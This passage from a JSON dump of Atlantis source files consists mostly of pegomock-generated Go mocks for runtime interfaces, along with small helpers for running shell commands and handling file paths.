{\n\tmock              *MockPreWorkflowHookRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPreWorkflowHookRunner_Run_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, string, string, string) {\n\tctx, command, shell, shellArgs, path := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], command[len(command)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], path[len(path)-1]\n}\n\nfunc (c *MockPreWorkflowHookRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []string, _param3 []string, _param4 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.WorkflowHookCommandContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_pull_approved_checker.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PullApprovedChecker)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPullApprovedChecker struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPullApprovedChecker(options ...pegomock.Option) *MockPullApprovedChecker {\n\tmock := &MockPullApprovedChecker{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPullApprovedChecker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPullApprovedChecker) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPullApprovedChecker) PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPullApprovedChecker().\")\n\t}\n\t_params := []pegomock.Param{logger, baseRepo, pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"PullIsApproved\", _params, []reflect.Type{reflect.TypeOf((*models.ApprovalStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.ApprovalStatus\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.ApprovalStatus)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockPullApprovedChecker) VerifyWasCalledOnce() *VerifierMockPullApprovedChecker {\n\treturn &VerifierMockPullApprovedChecker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPullApprovedChecker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullApprovedChecker {\n\treturn &VerifierMockPullApprovedChecker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPullApprovedChecker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullApprovedChecker {\n\treturn &VerifierMockPullApprovedChecker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPullApprovedChecker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullApprovedChecker {\n\treturn &VerifierMockPullApprovedChecker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPullApprovedChecker struct {\n\tmock                   *MockPullApprovedChecker\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPullApprovedChecker) PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) *MockPullApprovedChecker_PullIsApproved_OngoingVerification {\n\t_params := []pegomock.Param{logger, baseRepo, pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"PullIsApproved\", _params, verifier.timeout)\n\treturn &MockPullApprovedChecker_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPullApprovedChecker_PullIsApproved_OngoingVerification struct {\n\tmock              *MockPullApprovedChecker\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, baseRepo, pull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], baseRepo[len(baseRepo)-1], pull[len(pull)-1]\n}\n\nfunc (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: Runner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockRunner(options ...pegomock.Option) *MockRunner {\n\tmock := &MockRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, extraArgs, path, envs}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockRunner) VerifyWasCalledOnce() *VerifierMockRunner {\n\treturn &VerifierMockRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockRunner {\n\treturn &VerifierMockRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockRunner {\n\treturn &VerifierMockRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockRunner {\n\treturn &VerifierMockRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockRunner struct {\n\tmock                   *MockRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) *MockRunner_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, extraArgs, path, envs}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockRunner_Run_OngoingVerification struct {\n\tmock              *MockRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, []string, string, map[string]string) {\n\tctx, extraArgs, path, envs := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], extraArgs[len(extraArgs)-1], path[len(path)-1], envs[len(envs)-1]\n}\n\nfunc (c *MockRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 [][]string, _param2 []string, _param3 []map[string]string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_status_updater.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: StatusUpdater)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockStatusUpdater struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockStatusUpdater(options ...pegomock.Option) *MockStatusUpdater {\n\tmock := &MockStatusUpdater{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockStatusUpdater) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockStatusUpdater().\")\n\t}\n\t_params := []pegomock.Param{ctx, cmdName, status, url, res}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"UpdateProject\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockStatusUpdater) VerifyWasCalledOnce() *VerifierMockStatusUpdater {\n\treturn &VerifierMockStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockStatusUpdater {\n\treturn &VerifierMockStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockStatusUpdater {\n\treturn &VerifierMockStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockStatusUpdater {\n\treturn &VerifierMockStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockStatusUpdater struct {\n\tmock                   *MockStatusUpdater\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) *MockStatusUpdater_UpdateProject_OngoingVerification {\n\t_params := []pegomock.Param{ctx, cmdName, status, url, res}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UpdateProject\", _params, verifier.timeout)\n\treturn &MockStatusUpdater_UpdateProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockStatusUpdater_UpdateProject_OngoingVerification struct {\n\tmock              *MockStatusUpdater\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockStatusUpdater_UpdateProject_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, string, *command.ProjectCommandOutput) {\n\tctx, cmdName, status, url, res := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], url[len(url)-1], res[len(res)-1]\n}\n\nfunc (c *MockStatusUpdater_UpdateProject_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []string, _param4 []*command.ProjectCommandOutput) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]command.Name, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(command.Name)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]*command.ProjectCommandOutput, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(*command.ProjectCommandOutput)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_versionedexecutorworkflow.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: VersionedExecutorWorkflow)\n\npackage mocks\n\nimport (\n\tgo_version \"github.com/hashicorp/go-version\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockVersionedExecutorWorkflow struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockVersionedExecutorWorkflow(options ...pegomock.Option) *MockVersionedExecutorWorkflow {\n\tmock := &MockVersionedExecutorWorkflow{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockVersionedExecutorWorkflow) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockVersionedExecutorWorkflow) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockVersionedExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *go_version.Version) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockVersionedExecutorWorkflow().\")\n\t}\n\t_params := []pegomock.Param{log, v}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"EnsureExecutorVersion\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockVersionedExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockVersionedExecutorWorkflow().\")\n\t}\n\t_params := []pegomock.Param{ctx, executablePath, envs, workdir, extraArgs}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockVersionedExecutorWorkflow) VerifyWasCalledOnce() *VerifierMockVersionedExecutorWorkflow {\n\treturn &VerifierMockVersionedExecutorWorkflow{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockVersionedExecutorWorkflow) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockVersionedExecutorWorkflow {\n\treturn &VerifierMockVersionedExecutorWorkflow{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockVersionedExecutorWorkflow) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockVersionedExecutorWorkflow {\n\treturn &VerifierMockVersionedExecutorWorkflow{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockVersionedExecutorWorkflow) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockVersionedExecutorWorkflow {\n\treturn &VerifierMockVersionedExecutorWorkflow{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockVersionedExecutorWorkflow struct {\n\tmock                   *MockVersionedExecutorWorkflow\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockVersionedExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *go_version.Version) *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification {\n\t_params := []pegomock.Param{log, v}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"EnsureExecutorVersion\", _params, verifier.timeout)\n\treturn &MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification struct {\n\tmock              *MockVersionedExecutorWorkflow\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *go_version.Version) {\n\tlog, v := c.GetAllCapturedArguments()\n\treturn log[len(log)-1], v[len(v)-1]\n}\n\nfunc (c *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*go_version.Version) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*go_version.Version, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*go_version.Version)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockVersionedExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) *MockVersionedExecutorWorkflow_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, executablePath, envs, workdir, extraArgs}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockVersionedExecutorWorkflow_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockVersionedExecutorWorkflow_Run_OngoingVerification struct {\n\tmock              *MockVersionedExecutorWorkflow\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockVersionedExecutorWorkflow_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, map[string]string, string, []string) {\n\tctx, executablePath, envs, workdir, extraArgs := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], executablePath[len(executablePath)-1], envs[len(envs)-1], workdir[len(workdir)-1], extraArgs[len(extraArgs)-1]\n}\n\nfunc (c *MockVersionedExecutorWorkflow_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []map[string]string, _param3 []string, _param4 [][]string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/models/exec.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage models\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_exec.go Exec\n\ntype Exec interface {\n\tLookPath(file string) (string, error)\n\tCombinedOutput(args []string, envs map[string]string, workdir string) (string, error)\n}\n\ntype LocalExec struct{}\n\nfunc (e LocalExec) LookPath(file string) (string, error) {\n\treturn exec.LookPath(file)\n}\n\n// CombinedOutput encapsulates creating a command and running it. We should think about\n// how to flexibly add parameters here as this is meant to satisfy very simple usecases\n// for more complex usecases we can add a Command function to this method which will\n// allow us to edit a Cmd directly.\nfunc (e LocalExec) CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) {\n\tformattedArgs := strings.Join(args, \" \")\n\n\tenvVars := []string{}\n\tfor key, val := range envs {\n\t\tenvVars = append(envVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\n\t// TODO: move this os.Environ call out to the server so this\n\t// can happen once at the beginning\n\tenvVars = append(envVars, os.Environ()...)\n\n\t// honestly not entirely sure why we're using sh -c but it's used\n\t// for the terraform binary so copying it for now\n\tcmd := exec.Command(\"sh\", \"-c\", formattedArgs)\n\tcmd.Env = envVars\n\tcmd.Dir = workdir\n\n\toutput, err := cmd.CombinedOutput()\n\n\treturn string(output), err\n}\n"
  },
  {
    "path": "server/core/runtime/models/filepath.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage models\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_filepath.go FilePath\n\ntype FilePath interface {\n\tNotExists() bool\n\tJoin(elem ...string) FilePath\n\tSymlink(newname string) (FilePath, error)\n\tResolve() string\n}\n\ntype LocalFilePath string\n\nfunc (fp LocalFilePath) NotExists() bool {\n\t_, err := os.Stat(string(fp))\n\n\treturn os.IsNotExist(err)\n}\n\nfunc (fp LocalFilePath) Join(elem ...string) FilePath {\n\tpathComponents := []string{}\n\n\tpathComponents = append(pathComponents, string(fp))\n\tpathComponents = append(pathComponents, elem...)\n\n\treturn LocalFilePath(filepath.Join(pathComponents...))\n}\n\nfunc (fp LocalFilePath) Symlink(newname string) (FilePath, error) {\n\treturn LocalFilePath(newname), os.Symlink(fp.Resolve(), newname)\n}\n\nfunc (fp LocalFilePath) Resolve() string {\n\treturn string(fp)\n}\n"
  },
  {
    "path": "server/core/runtime/models/mocks/mock_exec.go",
